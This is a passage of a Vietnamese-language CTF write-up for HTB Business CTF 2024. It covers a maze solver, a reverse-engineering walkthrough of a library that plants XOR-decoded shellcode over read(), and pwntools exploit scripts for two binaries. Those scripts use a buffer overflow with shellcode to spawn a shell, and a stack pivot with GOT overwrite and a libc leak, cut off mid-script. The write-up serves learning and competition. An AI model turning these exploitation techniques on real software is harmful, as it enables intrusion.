class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">11</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0.</span>..]
_Fail=[<span class="hljs-string">'&gt;&gt;&gt;&gt;????'</span>]

_move = [<span class="hljs-number">6400</span>,<span class="hljs-number">320</span>,<span class="hljs-number">16</span>,<span class="hljs-number">-6400</span>,<span class="hljs-number">-320</span>,<span class="hljs-number">-16</span>]

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">dfs</span>(<span class="hljs-params">_start,_end,_path=[]</span>):</span>
    <span class="hljs-keyword">if</span> _start + <span class="hljs-number">12</span> == _end:
        print(<span class="hljs-string">"good"</span>)
        <span class="hljs-keyword">return</span> _path

    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> _move:
        <span class="hljs-keyword">if</span> maze[_start+i+<span class="hljs-number">12</span>] != <span class="hljs-number">2</span> <span class="hljs-keyword">and</span> maze[_start+i+<span class="hljs-number">12</span>]!=<span class="hljs-number">19</span>:
            <span class="hljs-keyword">if</span> _path[len(_path)<span class="hljs-number">-1</span>] + i != <span class="hljs-number">0</span>:
                _path = _path + [i]
                _new = dfs(_start+i,_end,_path)
                <span class="hljs-keyword">if</span> _new:
                    <span class="hljs-keyword">return</span> _new

    <span class="hljs-keyword">return</span> _Fail

_path=[<span class="hljs-number">16</span>] <span class="hljs-comment"># push trước vào mảng trace đường đi kí tự đầu cho đỡ phải viết thêm :v</span>

print(dfs(<span class="hljs-number">16</span>,<span class="hljs-number">127996</span>, _path))
</code></pre>
<ul>
<li>Viết thêm chương trình convert output script trên rồi quăng vào sever thôi^^.</li>
</ul>
<pre><code class="lang-python">ans = [<span class="hljs-number">16</span>, <span class="hljs-number">16</span>, <span class="hljs-number">16</span>, <span class="hljs-number">6400</span>, <span class="hljs-number">320</span>, <span class="hljs-number">16</span>, <span class="hljs-number">6400</span>, <span class="hljs-number">16</span>, <span class="hljs-number">6400</span>, <span class="hljs-number">6400</span>, <span class="hljs-number">320</span>, <span class="hljs-number">6400</span>, <span class="hljs-number">6400</span>, <span class="hljs-number">320</span>, <span class="hljs-number">320</span>, <span class="hljs-number">16</span>, <span class="hljs-number">16</span>, <span class="hljs-number">320</span>, <span class="hljs-number">16</span>, <span class="hljs-number">6400</span>, <span class="hljs-number">6400</span>, <span class="hljs-number">16</span>, <span class="hljs-number">320</span>, <span class="hljs-number">16</span>, <span class="hljs-number">320</span>, <span class="hljs-number">320</span>, <span class="hljs-number">6400</span>, <span class="hljs-number">320</span>, <span class="hljs-number">16</span>,
       <span class="hljs-number">320</span>, <span class="hljs-number">16</span>, <span class="hljs-number">16</span>, <span class="hljs-number">16</span>, <span class="hljs-number">16</span>, <span class="hljs-number">320</span>, <span class="hljs-number">320</span>, <span class="hljs-number">6400</span>, <span class="hljs-number">6400</span>, <span class="hljs-number">16</span>, <span class="hljs-number">16</span>, <span class="hljs-number">16</span>, <span class="hljs-number">320</span>, <span class="hljs-number">16</span>, <span class="hljs-number">6400</span>, <span class="hljs-number">320</span>, <span class="hljs-number">-16</span>, <span class="hljs-number">320</span>, <span class="hljs-number">320</span>, <span class="hljs-number">16</span>, <span class="hljs-number">320</span>, <span class="hljs-number">320</span>, <span class="hljs-number">6400</span>, <span class="hljs-number">6400</span>, <span class="hljs-number">6400</span>, <span class="hljs-number">6400</span>, <span class="hljs-number">6400</span>, <span class="hljs-number">320</span>, <span class="hljs-number">6400</span>, <span class="hljs-number">6400</span>]

num = [<span class="hljs-number">6400</span>, <span class="hljs-number">320</span>, <span class="hljs-number">16</span>, <span class="hljs-number">-6400</span>, <span class="hljs-number">-320</span>, <span class="hljs-number">-16</span>]
move = [<span class="hljs-string">'R'</span>, <span class="hljs-string">'F'</span>, <span class="hljs-string">'U'</span>, <span class="hljs-string">'L'</span>, <span class="hljs-string">'B'</span>, <span class="hljs-string">'D'</span>]
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> ans:
    <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> range(len(num)):
        <span class="hljs-keyword">if</span> i == num[j]:
            print(<span class="hljs-string">"'"</span>+move[j]+<span class="hljs-string">"'"</span>, end=<span class="hljs-string">", "</span>)
</code></pre>
<ul>
<li><p>Duyệt xong mới thấy là bài này chỉ có 1 đường đi duy nhất, vậy thì ai <s>vũ phu</s>vét cạn chút cũng solve được bởi max nước đi chỉ rơi vào khoảng 19*3*6 như đã đề cập trên :v</p>
<p>  <img src="https://github.com/SonVH2511/CTFs/raw/main/CTF_HTBusiness2024/_IMG/image-11.png" alt="alt text" /></p>
</li>
</ul>
<pre><code class="lang-javascript">flag: HTB{tunn3l1ng_ab0ut_in_3d_01b23521afc8c7b30d9f8e66002d8ad1}
</code></pre>
<h2 id="heading-satellitehijack"><strong>SatelliteHijack</strong></h2>
<p><strong><em>credit: noobmannn</em></strong></p>
<p>Challange cho chúng ta một file ELF64 <code>satellite</code> và một file thư viện của linux <a target="_blank" href="http://library.so"><code>library.so</code></a></p>
<p><img src="https://github.com/noobmannn/CTF_WriteUp/assets/102444334/53a6a475-0d45-4f35-bccb-45b88faadf12" alt="image" /></p>
<p>Khi run file, chương trình sẽ hiện lên cái Thumbnail như dưới và cứ liên tục bắt người dùng nhập gì đó</p>
<pre><code class="lang-javascript">         ,-.
        / \  <span class="hljs-string">`.  __..-,O ≈ ≈ ≈ ≈ ≈ ≈ ≈ ≈ ≈ ≈ ≈ ≈
       :   \ --''_..-'.'
       |    . .-' `</span>. <span class="hljs-string">'.
       :     .     .`.'</span>
        \     <span class="hljs-string">`.  /  ..
        \      `</span>.   <span class="hljs-string">' .
          `,       `.   \
         ,|,`.        `-.\
        '</span>.||  <span class="hljs-string">``</span>-...__..-<span class="hljs-string">`
         |  |
         |__|
         /||\
        //||\\
       // || \\
    __//__||__\\__
   '--------------' 
| READY TO TRANSMIT |
&gt; kiin
Sending `</span>kiin<span class="hljs-string">`
&gt; ull
Sending `</span>ull<span class="hljs-string">`
&gt;</span>
</code></pre>
<p>Mở file bằng IDA64, chương trình về cơ bản là in ra Thumbnail, sau đó dùng một vòng lặp <code>while(1)</code> để bắt chúng ta nhập input liên tục rồi đưa input đó vào hàm <code>send_satellite_message</code> để xử lý</p>
<p><img src="https://github.com/noobmannn/CTF_WriteUp/assets/102444334/d51c86c6-3f4e-4acb-8834-82f90d167778" alt="image" /></p>
<p>Khi debug, mình thấy hàm này là một hàm được lấy từ thư viện <a target="_blank" href="http://library.so"><code>library.so</code></a> mà challange cung cấp</p>
<p><img src="https://github.com/noobmannn/CTF_WriteUp/assets/102444334/f6ef13d4-23d2-4747-b5b3-4e72adf2d0fe" alt="image" /></p>
<p>Mở <a target="_blank" href="http://library.so"><code>library.so</code></a> bằng IDA64 và xem qua các hàm của nó, dễ dàng nhận thấy <code>send_satellite_message</code> chính là hàm dưới đây</p>
<p><img src="https://github.com/noobmannn/CTF_WriteUp/assets/102444334/73601a1c-1c11-4af2-9b47-069953f20432" alt="image" /></p>
<p>Đọc qua hàm và dựa vào giá trị mà hàm truyền vào ở hàm <code>main</code> của chương trình, dễ nhận thấy chương trình chỉ đơn giản là lặp đi lặp lại việc nối chuỗi chúng ta nhập vào với chuỗi <code>START</code> được khai báo sẵn rồi sau đó cũng chẳng để làm gì cả???</p>
<p><img src="https://github.com/noobmannn/CTF_WriteUp/assets/102444334/2cb4ebc3-457a-4abe-96ce-b5747b33515d" alt="image" /></p>
<p>Quay lại <a target="_blank" href="http://library.so"><code>library.so</code></a> và xref theo hàm <code>send_satellite_message</code>, ta thấy hàm này được gọi bới hàm <code>sub_25D0</code> như dưới đây. Về cơ bản hàm đang muốn lấy giá trị của biến môi trường <code>SAT_PROD_ENVIRONMENT</code>, nếu giá trị này có tồn tại thì chương trình sẽ chạy vào hàm <code>sub_23E3</code>, còn không thì bỏ qua và chạy tiếp vào <code>send_satellite_message</code></p>
<p><img src="https://github.com/noobmannn/CTF_WriteUp/assets/102444334/2d763367-6317-46c6-9798-983775913e0f" alt="image" /></p>
<h3 id="heading-phan-tich-ham-sub23e3">Phân tích hàm sub_23E3</h3>
<p><img src="https://github.com/noobmannn/CTF_WriteUp/assets/102444334/90f8dfb4-140e-4c5f-8ca8-2042d11e0076" alt="image" /></p>
<p>Đầu tiên chương trình gọi hàm <code>getauxval</code> với tham số truyền vào là 0x3 (tương đương với Enum <code>AT_PHDR</code>). Hàm này nhằm được sử dụng để truy xuất các giá trị từ vector phụ trợ (auxiliary vector), đây là một phần của môi trường tiến trình cung cấp các thông tin khác nhau về tiến trình cho kernel và hệ thống. Với tham số là <code>AT_PHDR</code>, hàm này trả về địa chỉ của program headers trong tiến trình. Đây là một mảng các cấu trúc Elf32_Phdr hoặc Elf64_Phdr, tùy thuộc vào kiến trúc của hệ thống (32-bit hoặc 64-bit). Ở trường hợp của bài là mảng các cấu trúc Elf64_Phdr.</p>
<p>Tiếp theo chương trình gọi đến hàm <code>sub_21A9</code></p>
<p><img src="https://github.com/noobmannn/CTF_WriteUp/assets/102444334/2d0f27d6-3749-441e-a79f-58cfb95af72e" alt="image" /></p>
<p>Đầu tiên hàm thực hiện một vòng lặp phức tạp như dưới đây</p>
<pre><code class="lang-C">  phdrs = (Elf64_Phdr *)((<span class="hljs-keyword">char</span> *)hdr + hdr-&gt;p_filesz);
  symtab = <span class="hljs-number">0L</span>L;
  jmprel = <span class="hljs-number">0L</span>L;
  strtab = <span class="hljs-number">0L</span>L;
  <span class="hljs-keyword">for</span> ( i = <span class="hljs-number">0</span>; i &lt; LOWORD(hdr[<span class="hljs-number">1</span>].p_type); ++i )
  {
    <span class="hljs-keyword">if</span> ( phdrs[i].p_type == PT_DYNAMIC )
    {
      <span class="hljs-keyword">for</span> ( j = (Elf64_Dyn *)((<span class="hljs-keyword">char</span> *)hdr + phdrs[i].p_offset); j-&gt;d_tag; ++j )
      {
        <span class="hljs-keyword">switch</span> ( j-&gt;d_tag )
        {
          <span class="hljs-keyword">case</span> DT_SYMTAB:
            symtab = (Elf64_Sym *)((<span class="hljs-keyword">char</span> *)hdr + j-&gt;d_un);
            <span class="hljs-keyword">break</span>;
          <span class="hljs-keyword">case</span> DT_STRTAB:
            strtab = (<span class="hljs-keyword">char</span> *)hdr + j-&gt;d_un;
            <span class="hljs-keyword">break</span>;
          <span class="hljs-keyword">case</span> DT_JMPREL:
            jmprel = (Elf64_Rela *)((<span class="hljs-keyword">char</span> *)hdr + j-&gt;d_un);
            <span class="hljs-keyword">break</span>;
        }
      }
    }
  }
  <span class="hljs-keyword">if</span> ( !symtab || !strtab || !jmprel )
    <span class="hljs-keyword">return</span> <span class="hljs-number">0L</span>L;
</code></pre>
<p>Vòng lặp này nhằm làm những việc sau:</p>
<ul>
<li><p>Đầu tiên duyệt qua toàn bộ các mảng cấu trúc Elf64_Phdr để tìm mảng có type là <code>PT_DYNAMIC</code>, đây là một loại entry trong bảng Program Header Table, được sử dụng để mô tả một segment động. Segment này chứa các thông tin cần thiết cho quá trình liên kết động (dynamic linking), như các thư viện động cần thiết, các bảng con trỏ, các bảng băm (hash tables), và các thông tin khác.</p>
</li>
<li><p>Sau khi tìm thấy mảng cấu trúc cần thiết, chương trình tiếp tục thực hiện duyệt toàn bộ mảng trên để tìm cấu trúc Elf_Dyn có giá trị <code>d_tag</code> là <code>DT_SYMTAB</code> sau đó lưu địa chỉ của nó vào <code>symtab</code>. Đây chính là con trỏ trỏ đến toàn bộ các <code>symbol</code>, tức là toàn bộ các tên hàm trong file Elf. Tương tự với hai case còn lại là <code>DT_STRTAB</code> - chứa địa chỉ của bảng chuỗi, được lưu vào <code>strtab</code> và <code>DT_JMPREL</code> - chứa địa chỉ của bảng các PLT - Procedure Linkage Table, bảng này chứa các con trỏ trỏ đến địa chỉ các hàm, được lưu vào <code>jmprel</code></p>
</li>
</ul>
<pre><code class="lang-C">  v4 = <span class="hljs-number">-1</span>;
  <span class="hljs-keyword">for</span> ( k = <span class="hljs-number">0</span>; &amp;symtab[k] &lt; (Elf64_Sym *)strtab; ++k )
  {
    v11 = &amp;symtab[k];
    <span class="hljs-keyword">if</span> ( v11-&gt;st_name &amp;&amp; !<span class="hljs-built_in">strcmp</span>(&amp;strtab[v11-&gt;st_name], name) )
    {
      v4 = k;
      <span class="hljs-keyword">break</span>;
    }
  }
  <span class="hljs-keyword">if</span> ( v4 &lt; <span class="hljs-number">0</span> )
    <span class="hljs-keyword">return</span> <span class="hljs-number">0L</span>L;
  <span class="hljs-keyword">while</span> ( jmprel-&gt;r_offset )
  {
    <span class="hljs-keyword">if</span> ( HIDWORD(jmprel-&gt;r_info) == v4 )
      <span class="hljs-keyword">return</span> (__int64)hdr + jmprel-&gt;r_offset;
    ++jmprel;
  }
  <span class="hljs-keyword">return</span> <span class="hljs-number">0L</span>L;
}
</code></pre>
<p>Phần còn lại của hàm thực hiện hai vòng lặp:</p>
<ul>
<li><p>Duyệt toàn bộ mảng <code>symtab</code>, đối với mỗi giá trị, chúng ta xác định tên của nó dựa theo bảng <code>strtab</code> rồi so sánh với giá trị <code>name</code> được truyền vào, trong trường hợp cụ thể của chúng ta là tên hàm <code>read</code>. Nếu tìm thấy thì trả về k và lưu nó vào v4</p>
</li>
<li><p>Tiếp theo hàm duyệt tiếp qua bảng <code>jmprel</code>, nếu tìm thấy giá trị nào có <code>r_info</code> trùng với v4, chương trình sẽ trả về địa chỉ của hàm cần tìm.</p>
</li>
</ul>
<p>Tổng kết lại, mục đích của hàm <code>sub_21A9</code> nhằm tìm địa chỉ của hàm có tên được chỉ định. Ở đây là hàm <code>read</code></p>
<p>Quay lại hàm <code>sub_23E3</code>, sau khi tìm được địa chỉ hàm <code>read</code>, về cơ bản chương trình sao chép toàn bộ byte của <code>byte_11A9</code> vào biến <code>dest</code> rồi gọi hàm <code>memfrob</code>, hàm này đơn giản chỉ là xor từng byte của <code>byte_11A9</code> với <code>0x2A</code>. Kết quả thu được là một đoạn Shellcode. Sau đó ghi đè toàn bộ đoạn Shellcode trên vào hàm <code>read</code> như ở dưới.</p>
<pre><code class="lang-C">  dest = mmap(<span class="hljs-number">0L</span>L, (((<span class="hljs-keyword">char</span> *)sub_21A9 - (<span class="hljs-keyword">char</span> *)byte_11A9) &amp; <span class="hljs-number">0xFFFFFFFFFFFFF000</span>LL) + <span class="hljs-number">4096</span>, <span class="hljs-number">7</span>, <span class="hljs-number">34</span>, <span class="hljs-number">-1</span>, <span class="hljs-number">0L</span>L);
  <span class="hljs-built_in">memcpy</span>(dest, byte_11A9, (<span class="hljs-keyword">char</span> *)sub_21A9 - (<span class="hljs-keyword">char</span> *)byte_11A9);
  memfrob(dest, (<span class="hljs-keyword">char</span> *)sub_21A9 - (<span class="hljs-keyword">char</span> *)byte_11A9);
  result = readFuncAddr;
  *readFuncAddr = dest;
</code></pre>
<p>Bây giờ ta quay lại file <code>satelitte</code>. Để ý kĩ lại chương trình, trước khi chạy vào vòng lặp kia, chương trình có gọi đến hàm <code>_send_satellite_message</code> trước, bây giờ khi debug lại và chạy vào nó trước, mình đã vào được hàm xử lý có vẻ giống với hàm <code>sub_25D0</code></p>
<p><img src="https://github.com/noobmannn/CTF_WriteUp/assets/102444334/765748ea-72f4-42f4-973a-5bde9459d0f3" alt="image" /></p>
<p>Ở đây vì chúng ta chưa định nghĩa giá trị cho biến môi trường <code>SAT_PROD_ENVIRONMENT</code> vậy nên chương trình không chạy vào hàm <code>sub_23E3</code> được ==&gt; mình sẽ SetIP để cho chương trình chắc chắn chạy qua hàm <code>sub_23E3</code>, sau đó quay lại <code>main</code>, đặt breakpoint tại lệnh gọi hàm <code>_read</code> để trace tới và chạy thẳng vào hàm đó, lúc này chương trình đã nhảy vào các Shellcode được tính trước đó ở <code>sub_23E3</code></p>
<p><img src="https://github.com/noobmannn/CTF_WriteUp/assets/102444334/962ea5fb-13d3-4ef8-94b6-da8df6d651b9" alt="image" /></p>
<h3 id="heading-phan-tich-shellcode">Phân tích Shellcode</h3>
<p>Ấn P để chuyển Shellcode sang dạng hàm, có thể nhìn được cơ bản chương trình sẽ chạy như dưới đây</p>
<p><img src="https://github.com/noobmannn/CTF_WriteUp/assets/102444334/185132c8-065b-498b-816f-6bf83292af41" alt="image" /></p>
<p>Hàm <code>syscallLinux</code> đơn giản là nhảy tới một hàm gọi syscall như dưới đây, có thể dễ dàng hiểu được hàm này đang yêu cầu chúng ta nhập Input</p>
<pre><code class="lang-C"><span class="hljs-function">__int64 __fastcall <span class="hljs-title">sub_7FCABB69F121</span><span class="hljs-params">(<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> a1)</span>
</span>{
  __int64 result; <span class="hljs-comment">// rax</span>

  result = a1;
  __asm { syscall; LINUX - }
  <span class="hljs-keyword">return</span> result;
}
</code></pre>
<p>Vậy có thể hiểu căn bản như sau: Shellcode yêu cầu chúng ta nhập flag, sau đó tiến hành kiểm tra 4 kí tự đầu của flag có phải là <code>HTB{</code> hay không, những kí tự còn lại sẽ tiếp tục được đưa vào hàm <code>checkFlag</code> để kiểm tra tiếp</p>
<p><img src="https://github.com/noobmannn/CTF_WriteUp/assets/102444334/74e9f655-43bb-4494-a962-678b1d80259f" alt="image" /></p>
<p>Trên đây là nội dung của hàm <code>checkFlag</code>, dựa vào đó dễ dàng viết được script để lấy flag của challenge</p>
<pre><code class="lang-python">stri = <span class="hljs-string">'l5{0v0Y7fVf?u&gt;|:O!|Lx!o$j,;f'</span>
flag = <span class="hljs-string">'HTB{'</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">28</span>):
    flag += chr(ord(stri[i]) ^ i)
print(flag)
</code></pre>
<h3 id="heading-flag-3">Flag</h3>
<p><code>HTB{l4y3r5_0n_l4y3r5_0n_l4y3r5!}</code></p>
<hr />
<h1 id="heading-pwnable"><strong>Pwnable</strong></h1>
<h2 id="heading-regularity">Regularity</h2>
<p><strong><em>credit: Phan Đình Lực</em></strong></p>
<h4 id="heading-check-file-checksec-ida">Check file + checksec + IDA</h4>
<p><img src="https://hackmd.io/_uploads/Hkx9-Nn7A.png" alt="image" /></p>
<ul>
<li><p>IDA</p>
<ul>
<li><code>_start</code></li>
</ul>
</li>
</ul>
<p>    <img src="https://hackmd.io/_uploads/Hy_rZ43mR.png" alt="image" /></p>
<ul>
<li><code>read</code></li>
</ul>
<p>    <img src="https://hackmd.io/_uploads/B1EMINnQC.png" alt="image" /></p>
<ul>
<li><p>BUG:</p>
<ul>
<li><p>Lỗi buffer overflow: <code>read() edx=0x110</code> trong khi chỉ set phần buffer nhập vào 0x100 byte</p>
</li>
<li><p>NX disable: cho phép thực thi shellcode -&gt; ret2shellcode</p>
</li>
<li><p>Dừng ở ret ở hàm <code>read()</code>:</p>
<p>  <img src="https://hackmd.io/_uploads/Bykw_N270.png" alt="image" /></p>
<p>  <img src="https://hackmd.io/_uploads/SyQOuE270.png" alt="image" /></p>
</li>
</ul>
</li>
</ul>
<h4 id="heading-khai-thac-3">Khai thác</h4>
<p>Tận dụng lỗi bof để overwrite saved rip của read thành <code>call/jump</code> rsi.</p>
<p>Công cụ rop gadget:</p>
<p><img src="https://hackmd.io/_uploads/H1Wot42QR.png" alt="image" /></p>
<h4 id="heading-script">Script</h4>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

    <span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *


    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">s</span>(<span class="hljs-params">p,data</span>):</span>
        p.send(data)
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">sl</span>(<span class="hljs-params">p,data</span>):</span>
        p.sendline(data)
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">sla</span>(<span class="hljs-params">p,msg,data</span>):</span>
        p.sendlineafter(msg,data)
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">sa</span>(<span class="hljs-params">p,msg,data</span>):</span>
        p.sendafter(msg,data)
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">rl</span>(<span class="hljs-params">p</span>):</span>
        l=p.recvline()
        <span class="hljs-keyword">return</span> l
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">ru</span>(<span class="hljs-params">p,msg</span>):</span>
        l=p.recvuntil(msg)
        <span class="hljs-keyword">return</span> l
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">r</span>(<span class="hljs-params">p,size</span>):</span>
        l=p.recv(size)
        <span class="hljs-keyword">return</span> l

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">intFromByte</span>(<span class="hljs-params">p,size</span>):</span>
        o = p.recv(size)[::<span class="hljs-number">-1</span>].hex()
        output = <span class="hljs-string">'0x'</span> + o
        leak = int(output,<span class="hljs-number">16</span>)
        <span class="hljs-keyword">return</span> leak

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">GDB</span>(<span class="hljs-params">p</span>):</span>
        gdb.attach(p,gdbscript=<span class="hljs-string">'''
            b*0x000000000040101e
            c
        '''</span>)
        input()

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
        context.binary = exe = ELF(<span class="hljs-string">"./regularity"</span>, checksec=<span class="hljs-literal">False</span>)
        <span class="hljs-comment"># libc = ELF("./",checksec=False)</span>
        <span class="hljs-comment"># ld = ELF("./",checksec=False)</span>
        p = process(exe.path)
        <span class="hljs-comment"># p=remote('94.237.63.135',35980)</span>
        GDB(p)
        shellcode = asm(shellcraft.sh())
        shellcode =shellcode.ljust(<span class="hljs-number">256</span>,<span class="hljs-string">b'\x00'</span>) +p64(<span class="hljs-number">0x0000000000401041</span>)
        sla(p,<span class="hljs-string">b'these days?\n'</span>,shellcode)
        p.interactive()
    <span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
        main()
        <span class="hljs-comment"># HTB{juMp1nG_w1tH_tH3_r3gIsT3rS?_e89a82a9a29cce817529e60b130d6587}</span>
</code></pre>
<h2 id="heading-nogadget">no_gadget</h2>
<p><strong><em>credit: Phan Đình Lực</em></strong></p>
<h4 id="heading-check-file-checksec-ida-1">Check file + checksec + IDA</h4>
<p><img src="https://hackmd.io/_uploads/BJBObN37A.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/rJJxs42XR.png" alt="image" /></p>
<ul>
<li><p>IDA</p>
<ul>
<li><p><code>main</code></p>
<p>  <img src="https://hackmd.io/_uploads/SkvFiN270.png" alt="image" /></p>
</li>
</ul>
</li>
<li><p>BUG:</p>
<ul>
<li><p>Lỗi <strong>buffer overflow</strong>: mảng <code>buf[128]</code> nhưng <code>fgets()</code> cho phép nhập <code>0x1337</code> byte.</p>
</li>
<li><p><code>main</code> có check size bằng strlen() nhưng hàm này chỉ đếm byte trước byte NULL nên hoàn toàn có thể bypass chỗ này.</p>
</li>
</ul>
</li>
</ul>
<h4 id="heading-khai-thac-4">Khai thác</h4>
<ul>
<li><p>Chương trình không có <code>system</code>, lại cho file <code>libc</code>: có thể là <code>ret2libc</code> và để sử kĩ thuật cần 2 cv</p>
<ul>
<li><p>Leak địa chỉ <code>libc base</code>.</p>
</li>
<li><p>Thực thi hàm <code>system</code> trong libc.</p>
</li>
</ul>
</li>
<li><p>Tận dụng lỗi <code>BOF</code> để overwrite <code>saved rip</code> của <code>main()</code> -&gt; Kĩ thuật <code>rop chain</code></p>
</li>
<li><p>Tuy nhiên, như tên thì challenge không có những gadget thường gặp như <code>pop rdi</code> để leak libc, hay lấy shell.</p>
</li>
<li><p>Nhưng chúng ta có <code>pop rbp</code>:</p>
<p>  <img src="https://hackmd.io/_uploads/rJ04p4h7A.png" alt="image" /></p>
<p>  \=&gt; Từ gadget này chúng ta có thể dùng kĩ thuật <code>pivot</code> + <code>BOF</code> để tiếp tục ghi vào <strong>1 vị trí khác</strong></p>
</li>
<li><p>Đọc mã ASM của main:</p>
<p>  <img src="https://hackmd.io/_uploads/H1CNlB2XA.png" alt="image" /></p>
<p>  -&gt; Để <code>leak libc</code> chúng ta sẽ cần điều khiển được nội dung in ra nhưng ở đây challenge lại kiểm soát bằng <code>rip</code> chứ không phải <code>rbp</code> (mà rip thì no hope cmnr)</p>
</li>
<li><p>Tuy nhiên, chúng ta vẫn còn 1 chút niềm tin bám víu vào hàm <code>fgets</code> và <code>strlen</code> có kiểm soát đối số bằng rbp và điều tuyệt hơn là <code>Relro:Partial</code> (điều này có nghĩa là có thể overwrite <code>GOT</code>)</p>
</li>
<li><p>Vậy quyết định sẽ sử dụng <code>strlen()</code> để leak libc bằng cách overwrite GOT thành <code>call puts</code></p>
<ul>
<li><p>Ở đây chúng ta sẽ overwrite GOT của <code>strlen()</code> -&gt; <code>0x0000000000401251</code> để khi call <code>strlen()</code> sẽ nhảy đến đó và cũng nhằm mục đích sử dụng lệnh call <code>exit()</code> để loop vị trí call <code>fgets</code> từ đó đưa payload tiếp theo.</p>
</li>
<li><p>Tiếp theo, là sẽ <code>pivot</code> vào vị trí nào: Với mục tiệu overwrite <code>GOT</code> vì vậy chúng ta sẽ overwrite từ vị trí <code>GOT</code> của puts bởi vì địa chỉ libc của puts sẽ được đưa vào <code>GOT puts</code> khi puts được gọi và chúng ta có thể leak nó.</p>
</li>
<li><p>Cuối cùng overwrite <code>GOT exit()</code> -&gt; <code>0x000000000040121b</code> (vị trị call <code>fgets</code>)</p>
<p>  <img src="https://hackmd.io/_uploads/r1JJLBnQA.png" alt="image" /></p>
<p>  \=&gt; Vậy là leak được libc.</p>
</li>
<li><p>Sau khi có <code>libc base</code>, chương trình sẽ loop lại fgets , chúng ta sẽ overwrite got puts thành sring <code>"/bin/sh"</code> để làm đối số, còn GOT <code>strlen()</code>-&gt;<code>system()</code></p>
</li>
</ul>
</li>
</ul>
<h4 id="heading-script-1">Script</h4>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

    <span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *


    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">s</span>(<span class="hljs-params">p,data</span>):</span>
        p.send(data)
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">sl</span>(<span class="hljs-params">p,data</span>):</span>
        p.sendline(data)
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">sla</span>(<span class="hljs-params">p,msg,data</span>):</span>
        p.sendlineafter(msg,data)
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">sa</span>(<span class="hljs-params">p,msg,data</span>):</span>
        p.sendafter(msg,data)
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">rl</span>(<span class="hljs-params">p</span>):</span>
        l=p.recvline()
        <span class="hljs-keyword">return</span> l
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">ru</span>(<span class="hljs-params">p,msg</span>):</span>
        l=p.recvuntil(msg)
        <span class="hljs-keyword">return</span> l
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">r</span>(<span class="hljs-params">p,size</span>):</span>
        l=p.recv(size)
        <span class="hljs-keyword">return</span> l

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">intFromByte</span>(<span class="hljs-params">p,size</span>):</span>
        o = p.recv(size)[::<span class="hljs-number">-1</span>].hex()
        output = <span class="hljs-string">'0x'</span> + o
        leak = int(output,<span class="hljs-number">16</span>)
        <span class="hljs-keyword">return</span> leak

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">GDB</span>(<span class="hljs-params">p</span>):</span>
        gdb.attach(p,gdbscript=<span class="hljs-string">'''
        b*main+158
        c
        '''</span>)
        input()
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
        context.binary = exe = ELF(<span class="hljs-string">"./no_gadgets"</span>,checksec=<span class="hljs-literal">False</span>)
        libc = ELF(<span class="hljs-string">"./libc.so.6"</span>,checksec=<span class="hljs-literal">False</span>)
        ld = ELF(<span class="hljs-string">"./ld-2.35.so"</span>,checksec=<span class="hljs-literal">False</span>)
        <span class="hljs-comment"># p = process(exe.path)</span>
        <span class="hljs-comment"># GDB(p)</span>
        p = remote(<span class="hljs-string">'94.237.63.100'</span>,<span class="hljs-number">45155</span>)
        <span class="hljs-comment">##################### change read-write location part 1 ###################</span>
        rw=<span class="hljs-number">0x404000</span>
        gets=<span class="hljs-number">0x000000000040121b</span>
        payload=<span class="hljs-string">b'\x00'</span>*<span class="hljs-number">128</span>+p64(rw+<span class="hljs-number">0x80</span>)+p64(gets)
        sla(p,<span class="hljs-string">b'Data: '</span>,payload)

        puts=<span class="hljs-number">0x0000000000401251</span>
        payload = p64(<span class="hljs-number">0x401036</span>)+p64(puts)+p64(<span class="hljs-number">0x401056</span>)+p64(<span class="hljs-number">0x401066</span>)+p64(<span class="hljs-number">0x401076</span>)+p64(gets)
        sl(p,payload)
        ru(p,<span class="hljs-string">b'\x0a'</span>)

        leak = intFromByte(p,<span class="hljs-number">6</span>)
        print(<span class="hljs-string">"leak:"</span>,hex(leak))
        libc.address=leak-(<span class="hljs-number">0x7f5c36480ed0</span><span class="hljs-number">-0x00007f5c36400000</span>)
        print(<span class="hljs-string">"libc:"</span>,hex(libc.address))
        binsh=<span class="hljs-string">'/bin/sh\x00'</span>.encode()
